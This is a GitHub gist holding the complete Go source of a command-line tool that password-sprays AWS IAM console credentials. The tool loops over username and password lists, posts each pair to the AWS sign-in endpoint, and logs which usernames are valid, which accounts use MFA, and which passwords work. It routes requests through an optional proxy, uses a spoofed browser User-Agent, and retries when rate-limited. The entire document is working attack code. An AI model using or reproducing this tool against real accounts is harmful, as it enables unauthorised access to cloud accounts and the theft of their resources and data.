Last active
November 19, 2024 15:33
-
-
Save egre55/57dc9e63d37d1de9a7762d4daf284e28 to your computer and use it in GitHub Desktop.
GoAWSConsoleSpray (root.go)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0-or-later | |
package cmd | |
import ( | |
"bufio" | |
"encoding/json" | |
"io/ioutil" | |
"log" | |
"net/http" | |
"net/url" | |
"os" | |
"strings" | |
"time" | |
"github.com/projectdiscovery/retryablehttp-go" | |
"github.com/spf13/cobra" | |
) | |
// AWS Login Response JSON Structure | |
type AwsLoginResponse struct { | |
State string `json:"state"` | |
Properties struct { | |
Result string `json:"result"` | |
RedirectURL string `json:"redirectUrl"` | |
Text string `json:"text"` | |
MFAType string `json:"mfaType"` | |
} `json:"properties"` | |
} | |
// ReturnStatus defines error handling codes | |
type ReturnStatus int64 | |
const ( | |
SUCCESS ReturnStatus = 0 | |
ACCOUNTMFA = 1 | |
FAILED = 2 | |
CONNFAIL = 3 | |
) | |
var ( | |
fUserfile string | |
fPassfile string | |
fAccountID string | |
fProxy string | |
fStopOnSuccess bool | |
fVerbose bool | |
fDelay int | |
signinURL = "https://signin.aws.amazon.com/authenticate" | |
title = "GoAWSConsoleSpray" | |
rootCmd = &cobra.Command{ | |
Use: title, | |
Short: "A tool used to spray against AWS IAM Console Credentials", | |
Long: ` | |
GoAWSConsoleSpray sprays AWS IAM console credentials from | |
a list of usernames and passwords. The tool detects valid usernames, | |
accounts with MFA, and successful login attempts. | |
Example: GoAWSConsoleSpray -u users.txt -p passwords.txt -a 123456789012`, | |
Run: func(cmd *cobra.Command, args []string) { | |
spray() | |
}, | |
} | |
) | |
func Execute() { | |
err := rootCmd.Execute() | |
if err != nil { | |
os.Exit(1) | |
} | |
} | |
func init() { | |
rootCmd.Flags().StringVarP(&fAccountID, "accountID", "a", "", "AWS Account ID (required)") | |
rootCmd.Flags().StringVarP(&fUserfile, "userfile", "u", "", "Username list (required)") | |
rootCmd.Flags().StringVarP(&fPassfile, "passfile", "p", "", "Password list (required)") | |
rootCmd.Flags().IntVarP(&fDelay, "delay", "d", 0, "Optional Time Delay Between Requests") | |
rootCmd.Flags().StringVarP(&fProxy, "proxy", "x", "", "HTTP/SOCKS Proxy URL & Port (proto://ip:port)") | |
rootCmd.Flags().BoolVarP(&fStopOnSuccess, "stopOnSuccess", "s", false, "Stop password spraying on success") | |
rootCmd.Flags().BoolVarP(&fVerbose, "verbose", "v", false, "Enable verbose logging") | |
rootCmd.MarkFlagRequired("accountID") | |
rootCmd.MarkFlagRequired("userfile") | |
rootCmd.MarkFlagRequired("passfile") | |
} | |
func spray() { | |
// Initialize retryablehttp client options | |
opts := retryablehttp.DefaultOptionsSingle | |
opts.RetryMax = 0 | |
// Initialize a custom HTTP transport | |
baseTransport := &http.Transport{} | |
// Add proxy if configured | |
if fProxy != "" { | |
proxyURL, err := url.Parse(fProxy) | |
if err != nil { | |
log.Fatalf("[!] ERROR: Invalid proxy URL: %s", err.Error()) | |
} | |
baseTransport.Proxy = http.ProxyURL(proxyURL) | |
} | |
// Create the retryable HTTP client | |
client := retryablehttp.NewWithHTTPClient(&http.Client{ | |
Transport: baseTransport, | |
}, opts) | |
// Add a custom User-Agent header via a custom RoundTripper | |
client.HTTPClient.Transport = &CustomTransport{ | |
Base: baseTransport, | |
} | |
// Load username and password files | |
usernameList, err := readFileLines(fUserfile) | |
if err != nil { | |
log.Fatalf("[!] ERROR: Failed to read usernames: %s", err.Error()) | |
} | |
passwordList, err := readFileLines(fPassfile) | |
if err != nil { | |
log.Fatalf("[!] ERROR: Failed to read passwords: %s", err.Error()) | |
} | |
// Spraying loop | |
log.Printf("%s: [%d] users loaded. [%d] passwords loaded. [%d] potential login requests.", | |
title, len(usernameList), len(passwordList), len(usernameList)*len(passwordList)) | |
for _, user := range usernameList { | |
log.Printf("Spraying User: arn:aws:iam::%s:user/%s", fAccountID, user) | |
for _, pass := range passwordList { | |
status := attemptLogin(client, user, pass, fAccountID, fDelay) | |
if status == CONNFAIL || (fStopOnSuccess && status == SUCCESS) { | |
return | |
} | |
if status == ACCOUNTMFA || status == SUCCESS { | |
break | |
} | |
} | |
} | |
} | |
func attemptLogin(client *retryablehttp.Client, username, password, accountID string, delay int) ReturnStatus { | |
if username == "" || password == "" { | |
return FAILED | |
} | |
// Add rate-limiting | |
if delay > 0 { | |
time.Sleep(time.Duration(delay) * time.Second) | |
} | |
// Prepare POST parameters | |
params := url.Values{} | |
params.Set("action", "iam-user-authentication") | |
params.Set("account", accountID) | |
params.Set("username", username) | |
params.Set("password", password) | |
params.Set("client_id", "arn:aws:signin:::console/canvas") | |
params.Set("redirect_uri", "https://console.aws.amazon.com") | |
params.Set("rememberAccount", "false") | |
// Send the request | |
resp, err := client.PostForm(signinURL, params) | |
if err != nil { | |
if strings.Contains(err.Error(), "server response headers exceeded") { | |
log.Printf("[%s] SUCCESS: Valid Password: %s, MFA: false", username, password) | |
return SUCCESS | |
} | |
log.Printf("[%s] ERROR: Request failed: %s", username, err.Error()) | |
return CONNFAIL | |
} | |
defer resp.Body.Close() | |
// Handle rate limiting | |
if resp.StatusCode == 429 { | |
log.Printf("[%s] WARNING: Rate limited. Retrying...", username) | |
time.Sleep(4 * time.Second) | |
return attemptLogin(client, username, password, accountID, delay) | |
} | |
// Parse response | |
body, _ := ioutil.ReadAll(resp.Body) | |
var loginResponse AwsLoginResponse | |
if err := json.Unmarshal(body, &loginResponse); err != nil { | |
log.Printf("[%s] ERROR: Failed to parse response: %s", username, err.Error()) | |
return FAILED | |
} | |
if loginResponse.State == "SUCCESS" { | |
if loginResponse.Properties.Result == "MFA" { | |
log.Printf("[%s] MFA: Valid username detected. Account requires MFA.", username) | |
return ACCOUNTMFA | |
} | |
log.Printf("[%s] SUCCESS: Valid Password: %s, MFA: false", username, password) | |
return SUCCESS | |
} | |
return FAILED | |
} | |
func readFileLines(filepath string) ([]string, error) { | |
file, err := os.Open(filepath) | |
if err != nil { | |
return nil, err | |
} | |
defer file.Close() | |
var lines []string | |
scanner := bufio.NewScanner(file) | |
for scanner.Scan() { | |
lines = append(lines, scanner.Text()) | |
} | |
return lines, scanner.Err() | |
} | |
// CustomTransport adds a User-Agent header to each request | |
type CustomTransport struct { | |
Base http.RoundTripper | |
} | |
func (c *CustomTransport) RoundTrip(req *http.Request) (*http.Response, error) { | |
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36") | |
return c.Base.RoundTrip(req) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment